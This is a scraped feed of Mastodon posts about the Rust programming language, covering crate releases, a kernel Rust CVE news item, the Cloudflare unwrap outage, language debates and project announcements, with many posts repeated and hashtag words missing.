@imperio@toot.cat

Just released the 0.15 version of the Rust askama crate (which handles jinja templates at compile-time).

The full changelog is here: github.com/askama-rs/askama/re

It comes with a crazy amount of new stuff, like support for templating on enum variants, or the beginning or better compilation errors (in some cases it actually shows you in the template where the bug is!).

We also extended what Rust expressions you can use in the templates and made a lot of performance improvements (to reduce compile-time).

Enjoy!

crates.io/crates/askama

@nullagent@partyon.xyz

A first of its kind Linux CVE dropped and in kernel code rewritten in Rust. The Rust rewrite introduced a race condition in a multi-threaded doubly linked list implementation leading to memory corruption.

This is the first formal CVE located in the Linux Rust code, a bit of an auspicious milestone.

phoronix.com/news/First-Linux-

phoronix.com

Linux Kernel Rust Code Sees Its First CVE Vulnerability

@chrisphan@hachyderm.io

Roughly two decades ago (!) I was a grad student teaching -calculus and . I had a student who thought it was hilarious that the absolute value button on the graphing calculator was labeled “abs”. She laughed about how it was “time to do some abs.” I really thought it was great, because if you make a joke out of something like that, you are more likely to remember it.

And even though I never again crossed paths with that student after the term was over, every time I see “abs” for absolute value, I think of this moment.

Indeed, today I was writing some code and used the unsigned_abs method on a signed integer, and I immediately imagined some shirtless guy at a gym with a marker trying to convince another patron to autograph his abdominal muscles.

doc.rust-lang.org/std/primitiv

(There’s also checked_abs, overflowing_abs, overflowing_abs, wrapping_abs, …)

doc.rust-lang.org

isize - Rust

The pointer-sized signed integer type.

@chrisphan@hachyderm.io

Roughly two decades ago (!) I was a grad student teaching -calculus and . I had a student who thought it was hilarious that the absolute value button on the graphing calculator was labeled “abs”. She laughed about how it was “time to do some abs.” I really thought it was great, because if you make a joke out of something like that, you are more likely to remember it.

And even though I never again crossed paths with that student after the term was over, every time I see “abs” for absolute value, I think of this moment.

Indeed, today I was writing some code and used the unsigned_abs method on a signed integer, and I immediately imagined some shirtless guy at a gym with a marker trying to convince another patron to autograph his abdominal muscles.

doc.rust-lang.org/std/primitiv

(There’s also checked_abs, overflowing_abs, overflowing_abs, wrapping_abs, …)

doc.rust-lang.org

isize - Rust

The pointer-sized signed integer type.

@KFears@mstdn.games

Today, I once again wake up worrying about 's future.

Why is a shitbag such as still allowed to single-handedly maintain fundamental libraries for the ecosystem? Why is he part of Library API team? How is he not permabanned for single-handedly permanently damaging Rust by killing off comptime reflection over his racism? How is he not permabanned for the power play he attempted to pull with his "RFC" after pushing pre-compiled binary to serde without notice? Why are MIC companies routinely tolerated at Rust conventions? Why does no one talk about it, despite the problems not being solved? Has takeover taught people nothing? Will Rust survive another year without turning into ?

So many questions. I think about them every time I use Rust, which is often.

Apropos of nothing.

@rnd@toot.cat

question for coders: so i wrote a program, and its basic functionality seems to be mostly finished, but right now it's a single crate that just functions as a console-mode program.

it probably makes sense to split the core functionality into some kind of library, so that it can be then used by others in other programs, perhaps even in GUI-based wrappers, right?

what would be the best way to do that? can/should i keep both the library crate and the -cli program crate in the same git repo?

@michalfita@mastodon.social

Does anyone knows good way to find opportunity for software dev? I'd like to avoid pitfalls of well known platforms. I can do:
- CLI/Dev tools, APIs
- code (, , including some or )
- C++ code
- or scripts, tools
- workflows (GitHub, GitLab)
- layers
- packaging +

Anyone has experience in getting hands on small projects?

Edit: I can / Rust or C++.

@NigelGreenway@mastodon.social

Over the past couple of weeks I've been building out a program to "bookmark" directories.

It's written in , and is called "Jump to Directory". It was written to learn Rust mainly, but also to solve a problem of moving through the directories quicker.

Really enjoying Rust for this tooling, and slowly getting to grips with the type system and the errors 😅

gitlab.com/NigelGreenway/jump-

Let me know if you use/enjoy 😊

gitlab.com

Nigel Greenway / Jump To Directory · GitLab

An easier way to jump between projects View or add Issues

@lobsters@mastodon.social
@Eleandar@framapiaf.org

APPEL à tous les développeurs qui veulent programmer en Rust dans l'intérêt général avec des technologies W3C entre autres sur des sujets passionnants !

N'hésitez pas à consulter la vitrine FOSS et n'hésitez pas à me contacter pour échanger sur les détails que j'ai envisionné sur chacun de ces sujets :

ethiciel.org/ideas/

@Framasoft @aprilorg

ethiciel.org

Idées de projet FOSS

@KFears@mstdn.games

Today, I once again wake up worrying about 's future.

Why is a shitbag such as still allowed to single-handedly maintain fundamental libraries for the ecosystem? Why is he part of Library API team? How is he not permabanned for single-handedly permanently damaging Rust by killing off comptime reflection over his racism? How is he not permabanned for the power play he attempted to pull with his "RFC" after pushing pre-compiled binary to serde without notice? Why are MIC companies routinely tolerated at Rust conventions? Why does no one talk about it, despite the problems not being solved? Has takeover taught people nothing? Will Rust survive another year without turning into ?

So many questions. I think about them every time I use Rust, which is often.

Apropos of nothing.

@KFears@mstdn.games

Today, I once again wake up worrying about 's future.

Why is a shitbag such as still allowed to single-handedly maintain fundamental libraries for the ecosystem? Why is he part of Library API team? How is he not permabanned for single-handedly permanently damaging Rust by killing off comptime reflection over his racism? How is he not permabanned for the power play he attempted to pull with his "RFC" after pushing pre-compiled binary to serde without notice? Why are MIC companies routinely tolerated at Rust conventions? Why does no one talk about it, despite the problems not being solved? Has takeover taught people nothing? Will Rust survive another year without turning into ?

So many questions. I think about them every time I use Rust, which is often.

Apropos of nothing.

@AerynOS@hachyderm.io

Unstable Stream Updates: 12th of December 2025

In terms of importance, this is a pretty big one! It's the first Unstable stream update delivered via our newly upgrade infra that supports Versioned Repositories! This is a first MVP version that the team are going to build upon and will lay the groundwork for future development and feature delivery.

Outside of this, this week we are delivering:

Cosmic 1.0.0
Gnome 49.2 updates
KDE Gear 25.12.0

Along with many more important updates including bug fixes.

Check out the GitHub Discussions post for greater detail!

github.com/orgs/AerynOS/discus

github.com

Unstable Stream Updates: 12th of December 2025 · AerynOS · Discussion #119

This is our first Unstable Stream Update delivered via our newly upgraded infra that supports Versioned Repositories, and we're pretty excited about it! As part of this change, it is perhaps worth ...

@boozook@mastodon.gamedev.place

Preferred langs are , , , or any 🫣. But it doesn’t matter actually. I like to read old papers too ;)
Please 🔁.

mastodon.gamedev.place

Boozook 🦀 :playdate: (@boozook@mastodon.gamedev.place)

Hey all! 👋🏻 I’m looking for some shader-like pipeline/#rendering system/library/framework for 1-bit graphics with 2x #framebuffer (double-buffered — actual & previous) with #blitting on #SIMD and #SWAR? CPU-only, mostly targeting ARM32/64/Thumb1. I understand that it’s rare and mostly impossible to exist, so I just need some source-based guidance/hints of oldschool/demoscene- tricks and algorithms which I don’t know yet (I know a lot already, I’m 40)) and of course i can port.

@boozook@mastodon.gamedev.place

Hey all! 👋🏻
I’m looking for some shader-like pipeline/#rendering system/library/framework for 1-bit graphics with 2x (double-buffered — actual & previous) with on and ? CPU-only, mostly targeting ARM32/64/Thumb1.
I understand that it’s rare and mostly impossible to exist, so I just need some source-based guidance/hints of oldschool/demoscene- tricks and algorithms which I don’t know yet (I know a lot already, I’m 40)) and of course i can port.

@arichtman@eigenmagic.net
@larsmb@mastodon.online

If you're still relying on , you're certainly aware that after their bait-and-switch, it is now a growing liability and technical debt in your infra.

(a rock solid choice!) seems daunting & complex for your use case?

Check out ! storage written in , all relevant features & sponsored by several funds.

It's what I run in my own labs.

Their commitment to OSS:

garagehq.deuxfleurs.fr/blog/20

garagehq.deuxfleurs.fr

Commoning open-source versus growth-hacking open-source | Garage blog

Facing recent events in the software-defined storage community, we would like to highlight that not all open-source projects choose an open-source lic…

Could Rust migrate from Github?

> Zig migrated from Github to Codeberg, this sent waves through the free and open source software ecosystem. It set a precedent for which big projects could migrate from Github, and people listened.

blog.goose.love/posts/could-ru

blog.goose.love

Could Rust migrate from GitHub? | BLOG.GOOSE.LOVE

@liw@toot.liw.fi

I have a training course for the basics of Rust. In about four hours I can cover enough to enable the students to learn more on their own. Now that Rust is a core part of the Linux kernel, I imagine there are some Linux kernel developers who feel they need to learn Rust soon. They should talk to their employer to hire me to teach them.

liw.fi/training/rust-basics/

(Blatant ad. Feel free to boost.)

liw.fi

Basics of Rust

@michalfita@mastodon.social

@ianthetechie @skade @ivory There's number of bots, Vietnamese one especially annoying posting w/o language metadata (or wrong language - I haven't dig) and I don't have "Translate" button.

I'm considering banning it from the feed as it posts about quite a bit.

Someone, who invented that for was evidently non-native in English and considered people using different languages. It even allows me to set my languages, what I think helps with feed preference.

@larsmb@mastodon.online

If you're still relying on , you're certainly aware that after their bait-and-switch, it is now a growing liability and technical debt in your infra.

(a rock solid choice!) seems daunting & complex for your use case?

Check out ! storage written in , all relevant features & sponsored by several funds.

It's what I run in my own labs.

Their commitment to OSS:

garagehq.deuxfleurs.fr/blog/20

garagehq.deuxfleurs.fr

Commoning open-source versus growth-hacking open-source | Garage blog

Facing recent events in the software-defined storage community, we would like to highlight that not all open-source projects choose an open-source lic…

@fullstackruby@ruby.social

I once used a tool called rvm to manage Ruby versions & gemsets (cool, but complicated), then migrated to the simpler rbenv. But what if you could use something even more modern? Enter rv.

Inspired by uv in the Python ecosystem and written in , rv aims to become your singular solution for total management of the Ruby environment. I’m excited to see where this leads the ecosystem.

fullstackruby.dev/ruby-infrast

fullstackruby.dev

The “rv” Tool is Making Swift Progress, Becoming a Must-Have for Rubyists

Contributors are brushing up on their Rust and launching new, fast tools. I’m excited to see where that leads the Ruby ecosystem.

@rnd@toot.cat

used to be kinda dismissive about the whole " has really good compiler error messages" thing, because i've personally seen GCC improve a lot since i started coding, but, like

rust has really good compiler error messages

@fullstackruby@ruby.social

I once used a tool called rvm to manage Ruby versions & gemsets (cool, but complicated), then migrated to the simpler rbenv. But what if you could use something even more modern? Enter rv.

Inspired by uv in the Python ecosystem and written in , rv aims to become your singular solution for total management of the Ruby environment. I’m excited to see where this leads the ecosystem.

fullstackruby.dev/ruby-infrast

fullstackruby.dev

The “rv” Tool is Making Swift Progress, Becoming a Must-Have for Rubyists

Contributors are brushing up on their Rust and launching new, fast tools. I’m excited to see where that leads the Ruby ecosystem.

@Dasharo@fosstodon.org

Discover a new Intel firmware analysis tool, built by Daniel Maslowski and written in . It's designed to push past the limits of me_cleaner and MEAnalyzer, offering a cleaner design, better documentation, and improved portability for firmware use.

Whether you're a Rust enthusiast or just looking for something more efficient, this tool is sure to catch your attention. Want to learn more? Check out Daniel's upcoming talk at the Developers vPub 0x11:
cfp.3mdeb.com/developers-vpub-

@ekuber@hachyderm.io · Reply to Esteban K�ber :rust:

If you're in nightly, you can pass `-Zrustc-unicode` to cargo and get a different rendering of diagnostics, with the ASCII-art reimagined to use Unicode box-drawing characters.
This is something I built some time back in rustc, and @muscraft put the actual effort of piping things through from cargo to rustc *and* make it part of the larger effort of making annotate-snippets the official renderer for both cargo and rustc (rustc has forever had its own bespoke renderer, annotate-snippets had to be taught to deal with all the small custom things that rustc has to deal on the regular).
From now on, if you want to match rustc output exactly, just use annotate-snippets.

github.com/rust-lang/rust/issu
github.com/rust-lang/annotate-

github.com

GitHub - rust-lang/annotate-snippets-rs: Library for snippet annotations

Library for snippet annotations. Contribute to rust-lang/annotate-snippets-rs development by creating an account on GitHub.

@rain@hachyderm.io

New post: a defense of lock poisoning in .

Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.

Please give it a read!

sunshowers.io/posts/on-poisoni

sunshowers.io

In defense of lock poisoning in Rust · sunshowers

It's worth retaining one of multithreaded Rust's most valuable features.

@ferrous@social.ferrous-systems.com

🚀 Ferrocene 25.11.0 is out!
Includes our first IEC 61508 (SIL 2)-certified subset of core, enabling certifiable for safety-critical systems across multiple architectures.
Also includes updates from Rust 1.89 & 1.90.

🔗 Release notes: public-docs.ferrocene.dev/main

Ferrous Systems logo 
Green box that says: It's official! 
Headline: Core. Qualified. 
Body text:  Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.
ALT text

Ferrous Systems logo Green box that says: It's official! Headline: Core. Qualified. Body text: Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.

@wojtek@vivaldi.net

a bit of I guess (?)

So the state of the in today world is that apps care more about the "brand" instead of using darn OS widgets (so all apps would look more or less uniform with the platform). Turns out that kinda switched from QtWidgets (native OS controlls) to QML and Qt Quick which doesn't use native widgets but rather paints it's own that try to look like the native ones via theming. So if you want native you should use QtWidgets.

Qt is kinda huge though because it's not only UI but a lot of libraries as well…

On the other hand there is a (github.com/libui-ng/libui-ng) which seems great (and has neat bindings for ) but it lacks quite a lot of widgets… (and on Linux they only do GTK :/)

Would be nice to have something like scaled-down-QtWidgets that don't require "whole" Qt and would offer nice bindings to Rust…

(though yesterday I dabbed a bit in "modern" ++ and it wasn't all that terrible 😱 )

github.com

GitHub - libui-ng/libui-ng: libui-ng: a portable GUI library for C. "libui for the next generation"

libui-ng: a portable GUI library for C. "libui for the next generation" - libui-ng/libui-ng

@ferrous@social.ferrous-systems.com

🚀 Ferrocene 25.11.0 is out!
Includes our first IEC 61508 (SIL 2)-certified subset of core, enabling certifiable for safety-critical systems across multiple architectures.
Also includes updates from Rust 1.89 & 1.90.

🔗 Release notes: public-docs.ferrocene.dev/main

Ferrous Systems logo 
Green box that says: It's official! 
Headline: Core. Qualified. 
Body text:  Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.
ALT text

Ferrous Systems logo Green box that says: It's official! Headline: Core. Qualified. Body text: Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.

@ferrous@social.ferrous-systems.com

🚀 Ferrocene 25.11.0 is out!
Includes our first IEC 61508 (SIL 2)-certified subset of core, enabling certifiable for safety-critical systems across multiple architectures.
Also includes updates from Rust 1.89 & 1.90.

🔗 Release notes: public-docs.ferrocene.dev/main

Ferrous Systems logo 
Green box that says: It's official! 
Headline: Core. Qualified. 
Body text:  Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.
ALT text

Ferrous Systems logo Green box that says: It's official! Headline: Core. Qualified. Body text: Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.

@rain@hachyderm.io

New post: a defense of lock poisoning in .

Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.

Please give it a read!

sunshowers.io/posts/on-poisoni

sunshowers.io

In defense of lock poisoning in Rust · sunshowers

It's worth retaining one of multithreaded Rust's most valuable features.

@rain@hachyderm.io

New post: a defense of lock poisoning in .

Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.

Please give it a read!

sunshowers.io/posts/on-poisoni

sunshowers.io

In defense of lock poisoning in Rust · sunshowers

It's worth retaining one of multithreaded Rust's most valuable features.

@rain@hachyderm.io

New post: a defense of lock poisoning in .

Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.

Please give it a read!

sunshowers.io/posts/on-poisoni

sunshowers.io

In defense of lock poisoning in Rust · sunshowers

It's worth retaining one of multithreaded Rust's most valuable features.

@mnvr@mastodon.social

AOC 25 - Day 1

Python solution 18 ms, Rust 4 ms

Nothing spectacular. The problem was simple enough, but the "off by one, bane of programmers since ∞±1" special cases took some time to figure

AOC 2025 Day 1 Solutions in Python and Rust
ALT text

AOC 2025 Day 1 Solutions in Python and Rust

@terts@mastodon.online

The next version of @nlnetlabs 's scripting language Roto (to be released sometime in December) will include a much-requested feature: lists! Below is a small example of lists in action, showcasing how easy it is to pass them to and from a Roto script. It will print `Result: [0, 1, 2, 3, 4, 5]`.

I'd like to take a moment to explain why lists were so hard to include in Roto in a thread!

1/6

@predrag@hachyderm.io

On behalf of the cargo-semver-checks project, it's my pleasure to recognize @jyn's irreplaceable and tireless work in the Rust community 🦀

I'll share just one anecdote; you can check out the GitHub Sponsors link to see more 🧵

GitHub Sponsors email stating: "You sponsored @jyn514! Sponsorship amount: $1000 one time"
ALT text

GitHub Sponsors email stating: "You sponsored @jyn514! Sponsorship amount: $1000 one time"

@predrag@hachyderm.io

On behalf of the cargo-semver-checks project, it's my pleasure to recognize @jyn's irreplaceable and tireless work in the Rust community 🦀

I'll share just one anecdote; you can check out the GitHub Sponsors link to see more 🧵

GitHub Sponsors email stating: "You sponsored @jyn514! Sponsorship amount: $1000 one time"
ALT text

GitHub Sponsors email stating: "You sponsored @jyn514! Sponsorship amount: $1000 one time"

@Medusalix@mastodon.social

I've launched a new open source project:

github.com/medusalix/FreeMDU

FreeMDU provides open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface.

More details about the project will be presented at the 39th Chaos Communication Congress as part of the talk "Hacking washing machines".

github.com

GitHub - medusalix/FreeMDU: Open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface

Open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface - medusalix/FreeMDU

@TheQuinbox@dragonscave.space

Sad to see the the @rust forum uses HCaptcha, thus preventing me as a blind user from signing up and posting my projects there. I'd like to escalate this to the right people, but it's hard to do so without an account on the forums. Anyone got any suggestions/know who I can reach about this?

@TheQuinbox@dragonscave.space

Sad to see the the @rust forum uses HCaptcha, thus preventing me as a blind user from signing up and posting my projects there. I'd like to escalate this to the right people, but it's hard to do so without an account on the forums. Anyone got any suggestions/know who I can reach about this?

@boltless.me@bsky.brid.gy

If there is complete. go-to abstraction package (like clap), I prefer mostly because of its type system. I like embedding the logic under types. If the ecosystem is not mature enough, I prefer because it's suited to situation with less abstractions so I can develop fast.

@rustaceans@mastodon.social

This Week's Rust Challenge 🦀

Zigzag Merge Iterator

Implement an iterator that merges two input iterators of i32 by alternating yields (first from iter1, then iter2, etc.) until both are exhausted.

If one ends early, continue with the remaining from the other.

@zkat@toot.cat

I’m gonna boost this again cause we really haven’t gotten very many applications but we could really really use the engineering help, esp if you’re an experienced engineer.

We need more help for making @conjured_ink happen—a distributed e-commerce platform for indies that centers creatives and their needs, rather than just funneling them back into more exploitation. We’re also heavily focused on the ability of nsfw creatives to keep doing their work safely, something that is rapidly vanishing.

Open source drive bys are great but having a set of folks who are willing and able to commit to just 5 hours a week would make a world of difference for the project. Please take a look and lmk if you have any questions!

hachyderm.io

Conjured Ink (@conjured_ink@hachyderm.io)

We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship. Apply here: https://forms.gle/YjoLacG6ftBcsPfDA

@zkat@toot.cat

I’m gonna boost this again cause we really haven’t gotten very many applications but we could really really use the engineering help, esp if you’re an experienced engineer.

We need more help for making @conjured_ink happen—a distributed e-commerce platform for indies that centers creatives and their needs, rather than just funneling them back into more exploitation. We’re also heavily focused on the ability of nsfw creatives to keep doing their work safely, something that is rapidly vanishing.

Open source drive bys are great but having a set of folks who are willing and able to commit to just 5 hours a week would make a world of difference for the project. Please take a look and lmk if you have any questions!

hachyderm.io

Conjured Ink (@conjured_ink@hachyderm.io)

We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship. Apply here: https://forms.gle/YjoLacG6ftBcsPfDA

@zkat@toot.cat

I’m gonna boost this again cause we really haven’t gotten very many applications but we could really really use the engineering help, esp if you’re an experienced engineer.

We need more help for making @conjured_ink happen—a distributed e-commerce platform for indies that centers creatives and their needs, rather than just funneling them back into more exploitation. We’re also heavily focused on the ability of nsfw creatives to keep doing their work safely, something that is rapidly vanishing.

Open source drive bys are great but having a set of folks who are willing and able to commit to just 5 hours a week would make a world of difference for the project. Please take a look and lmk if you have any questions!

hachyderm.io

Conjured Ink (@conjured_ink@hachyderm.io)

We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship. Apply here: https://forms.gle/YjoLacG6ftBcsPfDA

@xpub@post.lurk.org

IᑎTᖇO TO ᒪOᑕᗩᒪ-ᖴIᖇᔕT

Thursday December 4 at 17:00 we are welcoming @tbernard to XPUB studio (Wijnhaven 61, Rotterdam) to talk about the state of the emergent local-first and peer-to-peer collaboration ecosystem 👀

🧑‍💻 After the introduction, we are going to play with Reflection, the GTK-based collaborative text editor he’s developing together with @p2panda 🐼

🆓 Participation is open and free!

All info: pzwiki.wdka.nl/mediadesign/Cal

:boost_ok: :hacker_y: :hacker_e: :hacker_a: :hacker_h: :www_server:

Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.
ALT text

Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.

@xpub@post.lurk.org

IᑎTᖇO TO ᒪOᑕᗩᒪ-ᖴIᖇᔕT

Thursday December 4 at 17:00 we are welcoming @tbernard to XPUB studio (Wijnhaven 61, Rotterdam) to talk about the state of the emergent local-first and peer-to-peer collaboration ecosystem 👀

🧑‍💻 After the introduction, we are going to play with Reflection, the GTK-based collaborative text editor he’s developing together with @p2panda 🐼

🆓 Participation is open and free!

All info: pzwiki.wdka.nl/mediadesign/Cal

:boost_ok: :hacker_y: :hacker_e: :hacker_a: :hacker_h: :www_server:

Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.
ALT text

Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.

@arun@fantastic.earth

My talk about the native bindings is up!

gstconf.ubicast.tv/videos/rust

I covered the broad structure of the PipeWire code, how and why I started some native Rust bindings, and some of the painful parts of using Rust as well.

Jump forward to 1:20 to get to the start of the talk :)

gstconf.ubicast.tv

Rusty Pipes and Oxidized Wires

Earlier this year, I began writing a native PipeWire client library in Rust. The aim is to provide a safer alternative to the bindings around the C library, while also reducing the amount of boilerplate in both the library implementation and the user-facing API. Achieving parity with the C API is ...

@arun@fantastic.earth

My talk about the native bindings is up!

gstconf.ubicast.tv/videos/rust

I covered the broad structure of the PipeWire code, how and why I started some native Rust bindings, and some of the painful parts of using Rust as well.

Jump forward to 1:20 to get to the start of the talk :)

gstconf.ubicast.tv

Rusty Pipes and Oxidized Wires

Earlier this year, I began writing a native PipeWire client library in Rust. The aim is to provide a safer alternative to the bindings around the C library, while also reducing the amount of boilerplate in both the library implementation and the user-facing API. Achieving parity with the C API is ...

@xpub@post.lurk.org

IᑎTᖇO TO ᒪOᑕᗩᒪ-ᖴIᖇᔕT

Thursday December 4 at 17:00 we are welcoming @tbernard to XPUB studio (Wijnhaven 61, Rotterdam) to talk about the state of the emergent local-first and peer-to-peer collaboration ecosystem 👀

🧑‍💻 After the introduction, we are going to play with Reflection, the GTK-based collaborative text editor he’s developing together with @p2panda 🐼

🆓 Participation is open and free!

All info: pzwiki.wdka.nl/mediadesign/Cal

:boost_ok: :hacker_y: :hacker_e: :hacker_a: :hacker_h: :www_server:

Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.
ALT text

Poster with the title “Introduction to Local First”, and all the info written in the post. The text is black, the background is a painting of the back of a person in a dress looking at a mountain.

@zkat@toot.cat

I am once again reminded that I should probably do a better job of letting people know that if they use miette, or things that use miette, you can put NO_GRAPHICS=1 in an env var, and instead of drawing fancy graphical diagnostics, miette will automatically drop into a "narratable" renderer that's optimized for screen readers. The output looks like:

oops!
Diagnostic severity: error
Begin snippet for bad_file.rs starting at line 1, column 1

snippet line 1: source
snippet line 2: text
label at line 2, columns 3 to 6: this bit here
snippet line 3: here
diagnostic help: try doing it better next time?
diagnostic code: oops::my::bad

This works for any tool or library using miette unless they're manually messing with renderer settings and preventing this fallback from happening.

screenshot of a test for the corresponding graphical version of the diagnostic being shown in the toot
ALT text

screenshot of a test for the corresponding graphical version of the diagnostic being shown in the toot

@alg0w@vivaldi.net · Reply to Michał Fita

@michalfita @nullagent idk, after all those arguments I still think that my point holds: If you *really* care about safe software you write it in *today*, and not in someday when it will have bounded types, or stable standard, or being able to recompile your project after 10 years. Safety isn't only about memory allocation it is about processes and first and foremost code maintainers. Most Rust evangelists were JS/Java/C++ programmers in the past – aka normies, so they just don't know anything better.

Rust is a *good* language, but cult following around it is just insane. And all those people that heard about safety for the first time from Rust evangelists... sigh.

P.S. Marketing approach of Rust is worth learning – beat a straw man argument, aka Rust is better then C and ignore real competitors.

P.P.S. And about AdaCore what should they do? of course they want to cooperate I don't get the point.

P.P.P.S. MIT license is only good for corporations that want to abuse free work of open source community.

@alg0w@vivaldi.net · Reply to Michał Fita

@michalfita @nullagent idk, after all those arguments I still think that my point holds: If you *really* care about safe software you write it in *today*, and not in someday when it will have bounded types, or stable standard, or being able to recompile your project after 10 years. Safety isn't only about memory allocation it is about processes and first and foremost code maintainers. Most Rust evangelists were JS/Java/C++ programmers in the past – aka normies, so they just don't know anything better.

Rust is a *good* language, but cult following around it is just insane. And all those people that heard about safety for the first time from Rust evangelists... sigh.

P.S. Marketing approach of Rust is worth learning – beat a straw man argument, aka Rust is better then C and ignore real competitors.

P.P.S. And about AdaCore what should they do? of course they want to cooperate I don't get the point.

P.P.P.S. MIT license is only good for corporations that want to abuse free work of open source community.

@michalfita@mastodon.social · Reply to alg0w

@alg0w @nullagent You can write programs which do not use dynamic allocation, better stick to `!#[no_std]` what embedded systems do.

Grandpa as you called it is a grandpa for a reason. Today people leave universities and haven't seen line of code in C. The pool of potential maintainers for that old code is shrinking faster that I type this post.

@alg0w@vivaldi.net · Reply to Michał Fita

@michalfita @nullagent And for they come from webdev... (it is a joke). But my point still holds – people use Rust because it is fashionable, there are plenty of strongly typed languages. Yes Rust was first language that popularized affine type system – and that's good. But handling allocated resources isn't the only thing that is relevant for correctness. In for example you can write substantial programs without *ever* using dynamically allocated memory. Also in Ada you can have bounded types like an integer from 1 to 10 etc. Also Ada has a specification and is ISO standard. Compiler (gnat) is GPL licensed compared to MIT which is prone to corporate hostile project takeover. I hope you understood my point – Rust fans should compare Rust with some langue within its own league and not beat a grandpa C.

@alg0w@vivaldi.net · Reply to Michał Fita

@michalfita @nullagent And for they come from webdev... (it is a joke). But my point still holds – people use Rust because it is fashionable, there are plenty of strongly typed languages. Yes Rust was first language that popularized affine type system – and that's good. But handling allocated resources isn't the only thing that is relevant for correctness. In for example you can write substantial programs without *ever* using dynamically allocated memory. Also in Ada you can have bounded types like an integer from 1 to 10 etc. Also Ada has a specification and is ISO standard. Compiler (gnat) is GPL licensed compared to MIT which is prone to corporate hostile project takeover. I hope you understood my point – Rust fans should compare Rust with some langue within its own league and not beat a grandpa C.

@developer@social.overheid.nl

Goedemorgen! Onze front-end developer @jhwester heeft een artikel geschreven over formatting en linting in JavaScript.

🏎️ Dit naar aanleiding van zijn ontdekking van Biome, een formatter en linter ineen, gebouwd in Rust. Doordat hij is gebouwd in Rust is hij een behoorlijk stuk sneller dan de klassieke linters.

developer.overheid.nl/kennisba

-end

developer.overheid.nl

Formatting & Linting | developer.overheid.nl

Bij het ontwikkelen van front-end code is het belangrijk om consistente

@alg0w@vivaldi.net · Reply to nullagent

@nullagent My personal opinion is developers aren't serious about security because those same people would've used before Rust became mainstream, but they haven't. So its pure hype. I'm a big fan of formally verified code and this hype trend is on one hand good – more people are conscious about type safety, but on other hand bad because those very same people tend to completely ignore decades of research on formal program verification.

How many of them know about ATS/Postiats for example or even more mainstream Ada SPARK?

@lina In my development workflow, I never use `unwrap` in release builds. I use it for development if I need to do some quick prototyping, but I make sure to do proper error handling as soon as I can. If I must use something like `unwrap` to panic in an irrecoverable state, I'll use `expect` instead, or even the `unreachable` macro if applicable, but I never use `unwrap` in release builds. If the program has to panic, I have to explain *why* the program should panic.

@abnv@fantastic.earth

I can't get over the fact that invented `Option` to avoid NULL pointers, and then added `unwrap` to it, undoing the whole thing.

@nullagent@partyon.xyz · Reply to nullagent

As I keep saying, Rust is a language with a ton of subtle but very important features.

But anyways... here's a 3 year old 24 page blog post on how to write "good" Rust and avoid the exact error CloudFlare hit.

It's written by a long time core contributor.

Reading this, its looks to me to be about as hard to write safe Rust code as almost -any- other type safe language. The learning curve however, is very real AND required.

burntsushi.net/unwrap/

blog.burntsushi.net

Using unwrap() in Rust is Okay - Andrew Gallant's Blog

I blog mostly about my own programming projects.

@nullagent@partyon.xyz · Reply to nullagent

It's come to this grey beard's attention today that Cloudflare, one of the largest internet services on the planet, was taken offline worldwide overnight due to a single line of Rust code.

This seems to fall into the exact space where Rust claims to be safer. A real "the compiler should have prevented this" type of bug... yet turns out the compile -CAN- prevent this BUT its a common less than ideal pattern and even the biggest Rust adopters can't get it right.

blog.cloudflare.com/18-novembe

@zkat@toot.cat
@hugovk@mastodon.social
@atlza@mamot.fr

Nouvelle version de TimeTodo !

TimeTodo est une appli open-source de gestion de tâches et de développée en et disponible sur toutes les plateformes desktop (et mobile bientôt, j'espère).

Au programme de cette version :
- un meilleur affichage sur petits écrans
- des améliorations Ux
- des corrections de bugs...

Le code est dispo sur @Codeberg et les releases pour chaque OS sont téléchargeables ici :
